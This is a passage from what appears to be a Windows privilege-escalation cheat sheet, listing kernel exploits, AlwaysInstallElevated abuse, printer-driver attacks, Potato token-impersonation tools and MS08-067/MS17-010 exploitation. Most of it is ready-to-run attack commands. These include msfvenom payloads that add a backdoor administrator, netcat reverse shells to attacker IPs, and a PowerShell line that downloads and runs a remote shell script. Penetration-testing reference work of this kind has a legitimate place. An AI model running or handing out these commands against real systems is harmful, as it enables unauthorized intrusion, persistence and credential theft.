- [CVE-2017-0213](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-0213) 　[Windows COM Elevation of Privilege Vulnerability]　　(windows 10/8.1/7/2016/2010/2008)
- [CVE-2018-0833](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-0833) [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2)
- [CVE-2018-8120](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-8120) [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
- [MS17-010](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-010) 　[KB4013389]　　[Windows Kernel Mode Drivers]　　(windows 7/2008/2003/XP)
- [MS16-135](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-135) 　[KB3199135]　　[Windows Kernel Mode Drivers]　　(2016)
- [MS16-111](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-111) 　[KB3186973]　　[kernel api]　　(Windows 10 10586 (32/64)/8.1)
- [MS16-098](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-098) 　[KB3178466]　　[Kernel Driver]　　(Win 8.1)
- [MS16-075](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075) 　[KB3164038]　　[Hot Potato]　　(2003/2008/7/8/2012)
- [MS16-034](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034) 　[KB3143145]　　[Kernel Driver]　　(2008/7/8/10/2012)
- [MS16-032](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032) 　[KB3143141]　　[Secondary Logon Handle]　　(2008/7/8/10/2012)
- [MS16-016](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-016) 　[KB3136041]　　[WebDAV]　　(2008/Vista/7)
- [MS16-014](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-014) 　[K3134228]　　[remote code execution]　　(2008/Vista/7)
...
- [MS03-026](./MS03-026) 　[KB823980]　　 [Buffer Overrun In RPC Interface]　　(/NT/2000/XP/2003)
To cross compile a program from Kali, use the following command.
```powershell
Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c
```
## EoP - AlwaysInstallElevated
Check if these registry values are set to "1".
```powershell
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
$ Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
$ Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
```
Then create an MSI package and install it.
```powershell
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi
$ msiexec /quiet /qn /i C:\evil.msi
```
Technique also available in :
* Metasploit : `exploit/windows/local/always_install_elevated`
* PowerUp.ps1 : `Get-RegistryAlwaysInstallElevated`, `Write-UserAddMSI`
## EoP - Insecure GUI apps
Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"
## EoP - Evaluating Vulnerable Drivers
Look for vuln drivers loaded, we often don't spend enough time looking at this:
```powershell
# https://github.com/matterpreter/OffensiveCSharp/tree/master/DriverQuery
PS C:\Users\Swissky> driverquery.exe /fo table
Module Name Display Name Driver Type Link Date
============ ====================== ============= ======================
1394ohci 1394 OHCI Compliant Ho Kernel 12/10/2006 4:44:38 PM
3ware 3ware Kernel 5/18/2015 6:28:03 PM
ACPI Microsoft ACPI Driver Kernel 12/9/1975 6:17:08 AM
AcpiDev ACPI Devices driver Kernel 12/7/1993 6:22:19 AM
acpiex Microsoft ACPIEx Drive Kernel 3/1/2087 8:53:50 AM
acpipagr ACPI Processor Aggrega Kernel 1/24/2081 8:36:36 AM
AcpiPmi ACPI Power Meter Drive Kernel 11/19/2006 9:20:15 PM
acpitime ACPI Wake Alarm Driver Kernel 2/9/1974 7:10:30 AM
ADP80XX ADP80XX Kernel 4/9/2015 4:49:48 PM
<SNIP>
PS C:\Users\Swissky> DriverQuery.exe --no-msft
[+] Enumerating driver services...
[+] Checking file signatures...
Citrix USB Filter Driver
Service Name: ctxusbm
Path: C:\Windows\system32\DRIVERS\ctxusbm.sys
Version: 14.11.0.138
Creation Time (UTC): 17/05/2018 01:20:50
Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US
Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems, Inc.", L=Fort Lauderdale, S=Florida, C=US
<SNIP>
```
## EoP - Printers
### Universal Printer
Create a Printer
```ps1
$printerName = 'Universal Priv Printer'
$system32 = $env:systemroot + '\system32'
$drivers = $system32 + '\spool\drivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName
Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system32 + '\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll')
Add-PrinterDriver -Name 'Generic / Text Only'
Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared
New-Item -Path ($RegStartPrinter + '\CopyFiles') | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Kiwi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Mango') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
```
Execute the driver
```ps1
$serverName = 'dc.purple.lab'
$printerName = 'Universal Priv Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName
```
### PrinterNightmare
```ps1
git clone https://github.com/Flangvik/DeployPrinterNightmare
PS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
[<3] @Flangvik - TrustedSec
[+] Copying C:\Windows\system32\mscms.dll to C:\Windows\system32\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 64mimispool.dll to C:\Windows\system32\spool\drivers\x64\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 32mimispool.dll to C:\Windows\system32\spool\drivers\W32X86\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Adding printer driver => Generic / Text Only!
[+] Adding printer => EasySystemShell!
[+] Setting 64-bit Registry key
[+] Setting 32-bit Registry key
[+] Setting '*' Registry key
```
```ps1
PS C:\target> $serverName = 'printer-installed-host'
PS C:\target> $printerName = 'EasySystemShell'
PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
PS C:\target> Add-Printer -ConnectionName $fullprinterName
```
### Bring Your Own Vulnerability
Concealed Position : https://github.com/jacob-baines/concealed_position
* ACIDDAMAGE - [CVE-2021-35449](https://nvd.nist.gov/vuln/detail/CVE-2021-35449) - Lexmark Universal Print Driver LPE
* RADIANTDAMAGE - [CVE-2021-38085](https://nvd.nist.gov/vuln/detail/CVE-2021-38085) - Canon TR150 Print Driver LPE
* POISONDAMAGE - [CVE-2019-19363](https://nvd.nist.gov/vuln/detail/CVE-2019-19363) - Ricoh PCL6 Print Driver LPE
* SLASHINGDAMAGE - [CVE-2020-1300](https://nvd.nist.gov/vuln/detail/CVE-2020-1300) - Windows Print Spooler LPE
```powershell
cp_server.exe -e ACIDDAMAGE
# Get-Printer
# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE
```
## EoP - Runas
Use the `cmdkey` to list the stored credentials on the machine.
```powershell
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
```
Then you can use `runas` with the `/savecred` options in order to use the saved credentials.
The following example is calling a remote binary via an SMB share.
```powershell
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas /savecred /user:Administrator "cmd.exe /k whoami"
```
Using `runas` with a provided set of credential.
```powershell
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
```
```powershell
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
```
## EoP - Abusing Shadow Copies
If you have local administrator access on a machine try to list shadow copies, it's an easy way for Privilege Escalation.
```powershell
# List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
# List shadow copies using diskshadow
diskshadow list shadows all
# Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```
## EoP - From local administrator to NT SYSTEM
```powershell
PsExec.exe -i -s cmd.exe
```
## EoP - Living Off The Land Binaries and Scripts
Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/
> The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.
A LOLBin/Lib/Script must:
* Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.
Have extra "unexpected" functionality. It is not interesting to document intended use cases.
Exceptions are application whitelisting bypasses
* Have functionality that would be useful to an APT or red team
```powershell
wmic.exe process call create calc
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml
```
## EoP - Impersonation Privileges
Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
| Privilege | Impact | Tool | Execution path | Remarks |
| --- | --- | --- | --- | --- |
|`SeAssignPrimaryToken`| ***Admin*** | 3rd party tool | *"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"* | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. |
|`SeBackup`| **Threat** | ***Built-in commands*** | Read sensitve files with `robocopy /b` |- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br> <br>- `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files.<br> <br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
|`SeCreateToken`| ***Admin*** | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. ||
|`SeDebug`| ***Admin*** | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys` or `capcom.sys`<br>2. Exploit the driver vulnerability<br> <br> Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)<br>2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh) |
|`SeRestore`| ***Admin*** | **PowerShell** | 1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTakeOwnership`| ***Admin*** | ***Built-in commands*** |1. `takeown.exe /f "%windir%\system32"`<br>2. `icalcs.exe "%windir%\system32" /grant "%username%":F`<br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTcb`| ***Admin*** | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.<br> <br>To be verified. ||
### Restore A Service Account's Privileges
> This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only.
```powershell
# https://github.com/itm4n/FullPowers
c:\TOOLS>FullPowers
[+] Started dummy thread with id 9976
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
```
### Meterpreter getsystem and alternatives
```powershell
meterpreter> getsystem
Tokenvator.exe getsystem cmd.exe
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
psexec -s -i cmd.exe
python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
```
### RottenPotato (Token Impersonation)
* Binary available at : https://github.com/foxglovesec/RottenPotato
* Binary available at : https://github.com/breenmachine/RottenPotatoNG
```c
getuid
getprivs
use incognito
list\_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate\_token "NT AUTHORITY\SYSTEM"
```
```powershell
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
```
### Juicy Potato (Abusing the golden privileges)
> If the machine is **>= Windows 10 1809 & Windows Server 2019** - Try **Rogue Potato**
> If the machine is **< Windows 10 1809 < Windows Server 2019** - Try **Juicy Potato**
* Binary available at : https://github.com/ohpe/juicy-potato/releases
1. Check the privileges of the service account, you should look for **SeImpersonate** and/or **SeAssignPrimaryToken** (Impersonate a client after authentication)
```powershell
whoami /priv
```
2. Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object
* [Windows 7 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise)
* [Windows 8.1 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_8.1_Enterprise)
* [Windows 10 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_10_Enterprise)
* [Windows 10 Professional](https://ohpe.it/juicy-potato/CLSID/Windows_10_Pro)
* [Windows Server 2008 R2 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise)
* [Windows Server 2012 Datacenter](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter)
* [Windows Server 2016 Standard](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard)
3. Execute JuicyPotato to run a privileged command.
```powershell
JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}
JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe"
Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337
......
[+] authresult 0
{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
```
### Rogue Potato (Fake OXID Resolver)
* Binary available at https://github.com/antonioCoco/RoguePotato
```powershell
# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999
# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine.
# Use this if you have fw restrictions.
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"
# RoguePotato all in one with RogueOxidResolver running locally on port 9999
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999
#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode
```
### EFSPotato (MS-EFSR EfsRpcOpenFileRaw)
* Binary available at https://github.com/zcgonvh/EfsPotato
```powershell
# .NET 4.x
csc EfsPotato.cs
csc /platform:x86 EfsPotato.cs
# .NET 2.0/3.5
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs
```
## EoP - Privileged File Write
### DiagHub
:warning: Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.
The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM.
This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the `C:\Windows\System32` directory.
#### Exploit
1. Create an [evil DLL](https://gist.github.com/xct/3949f3f4f178b1f3427fae7686a2a9c0) e.g: payload.dll and move it into `C:\Windows\System32`
2. Build https://github.com/xct/diaghub
3. `diaghub.exe c:\\ProgramData\\ payload.dll`
The default payload will run `C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe`
Alternative tools:
* https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag
* https://github.com/decoder-it/diaghub_exploit
### UsoDLLLoader
:warning: 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.
> An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a. @tiraniddo)
If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of `windowscoredeviceinfo.dll` into `C:\Windows\Sytem32\` and then have it loaded by the USO service to get arbitrary code execution as **NT AUTHORITY\System**.
#### Exploit
1. Build https://github.com/itm4n/UsoDllLoader
* Select Release config and x64 architecure.
* Build solution.
* DLL .\x64\Release\WindowsCoreDeviceInfo.dll
* Loader .\x64\Release\UsoDllLoader.exe.
2. Copy `WindowsCoreDeviceInfo.dll` to `C:\Windows\System32\`
3. Use the loader and wait for the shell or run `usoclient StartInteractiveScan` and connect to the bind shell on port 1337.
### WerTrigger
> Weaponizing for privileged file writes bugs with Windows problem reporting
1. Clone https://github.com/sailay1996/WerTrigger
2. Copy `phoneinfo.dll` to `C:\Windows\System32\`
3. Place `Report.wer` file and `WerTrigger.exe` in a same directory.
4. Then, run `WerTrigger.exe`.
5. Enjoy a shell as **NT AUTHORITY\SYSTEM**
## EoP - Common Vulnerabilities and Exposure
### MS08-067 (NetAPI)
Check the vulnerability with the following nmap script.
```c
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 <ip_netblock>
```
Metasploit modules to exploit `MS08-067 NetAPI`.
```powershell
exploit/windows/smb/ms08_067_netapi
```
If you can't use Metasploit and only want a reverse shell.
```powershell
https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows
Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
python ms08-067.py 10.0.0.1 6 445
```
### MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7
'KiTrap0D' User Mode to Ring Escalation (MS10-015)
```powershell
https://www.exploit-db.com/exploits/11199
Metasploit : exploit/windows/local/ms10_015_kitrap0d
```
### MS11-080 (afd.sys) - Microsoft Windows XP/2003
```powershell
Python: https://www.exploit-db.com/exploits/18176
Metasploit: exploit/windows/local/ms11_080_afdjoinleaf
```
### MS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012
```powershell
printf("[#] usage: ms15-051 command \n");
printf("[#] eg: ms15-051 \"whoami /all\" \n");
# x32
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe
# x64
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
use exploit/windows/local/ms15_051_client_copy_image
```
### MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
Check if the patch is installed : `wmic qfe list | findstr "3139914"`
```powershell
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
Binary exe : https://github.com/Meatballs1/ms16-032
Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```
### MS17-010 (Eternal Blue)
Check the vulnerability with the following nmap script.
```c
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>
```
Metasploit modules to exploit `EternalRomance/EternalSynergy/EternalChampion`.
```powershell
auxiliary/admin/smb/ms17_010_command MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
```
If you can't use Metasploit and only want a reverse shell.
```powershell
git clone https://github.com/helviojunior/MS17-010
# generate a simple reverse shell to use
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe
python2 send_and_execute.py 10.0.0.1 revshell.exe
```
### CVE-2019-1388
Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html
Requirement:
- Windows 7
- Windows 10 LTSC 10240
Failing on :
- LTSC 2019
- 1709
- 1803
Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege
## References
* [Windows Internals Book - 02/07/2017](https://docs.microsoft.com/en-us/sysinternals/learn/windows-internals)
* [icacls - Docs Microsoft](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls)
* [Privilege Escalation Windows - Philip Linghammar](https://xapax.gitbooks.io/security/content/privilege_escalation_windows.html)
* [Windows elevation of privileges - Guifre Ruiz](https://guif.re/windowseop)
* [The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte](https://addaxsoft.com/wpecs/)
* [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
* [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
* [TOP–10 ways to boost your privileges in Windows systems - hackmag](https://hackmag.com/security/elevating-privileges-to-administrative-and-further/)
* [The SYSTEM Challenge](https://decoder.cloud/2017/02/21/the-system-challenge/)
* [Windows Privilege Escalation Guide - absolomb's security blog](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
* [Chapter 4 - Windows Post-Exploitation - 2 Nov 2017 - dostoevskylabs](https://github.com/dostoevskylabs/dostoevsky-pentest-notes/blob/master/chapter-4.md)
* [Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell](https://www.tecklyfe.com/remediation-microsoft-windows-unquoted-service-path-enumeration-vulnerability/)
* [Pentestlab.blog - WPE-01 - Stored Credentials](https://pentestlab.blog/2017/04/19/stored-credentials/)
* [Pentestlab.blog - WPE-02 - Windows Kernel](https://pentestlab.blog/2017/04/24/windows-kernel-exploits/)
* [Pentestlab.blog - WPE-03 - DLL Injection](https://pentestlab.blog/2017/04/04/dll-injection/)
* [Pentestlab.blog - WPE-04 - Weak Service Permissions](https://pentestlab.blog/2017/03/30/weak-service-permissions/)
* [Pentestlab.blog - WPE-05 - DLL Hijacking](https://pentestlab.blog/2017/03/27/dll-hijacking/)
* [Pentestlab.blog - WPE-06 - Hot Potato](https://pentestlab.blog/2017/04/13/hot-potato/)
* [Pentestlab.blog - WPE-07 - Group Policy Preferences](https://pentestlab.blog/2017/03/20/group-policy-preferences/)
* [Pentestlab.blog - WPE-08 - Unquoted Service Path](https://pentestlab.blog/2017/03/09/unquoted-service-path/)
* [Pentestlab.blog - WPE-09 - Always Install Elevated](https://pentestlab.blog/2017/02/28/always-install-elevated/)
* [Pentestlab.blog - WPE-10 - Token Manipulation](https://pentestlab.blog/2017/04/03/token-manipulation/)
* [Pentestlab.blog - WPE-11 - Secondary Logon Handle](https://pentestlab.blog/2017/04/07/secondary-logon-handle/)
* [Pentestlab.blog - WPE-12 - Insecure Registry Permissions](https://pentestlab.blog/2017/03/31/insecure-registry-permissions/)
* [Pentestlab.blog - WPE-13 - Intel SYSRET](https://pentestlab.blog/2017/06/14/intel-sysret/)
* [Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @_xpn_](https://blog.xpnsec.com/becoming-system/)
* [Living Off The Land Binaries and Scripts (and now also Libraries)](https://github.com/LOLBAS-Project/LOLBAS)
* [Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec](https://amonsec.net/2018/09/23/Common-Windows-Misconfiguration-Services.html)
* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf)
* [Abusing Diaghub - xct - March 07, 2019](https://vulndev.io/howto/2019/03/07/diaghub.html)
* [Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html)
* [Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019](https://itm4n.github.io/usodllloader-part2/)
* [Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows](https://www.elladodelmal.com/2020/03/hacking-trick-environment-variable-path.html?m=1)
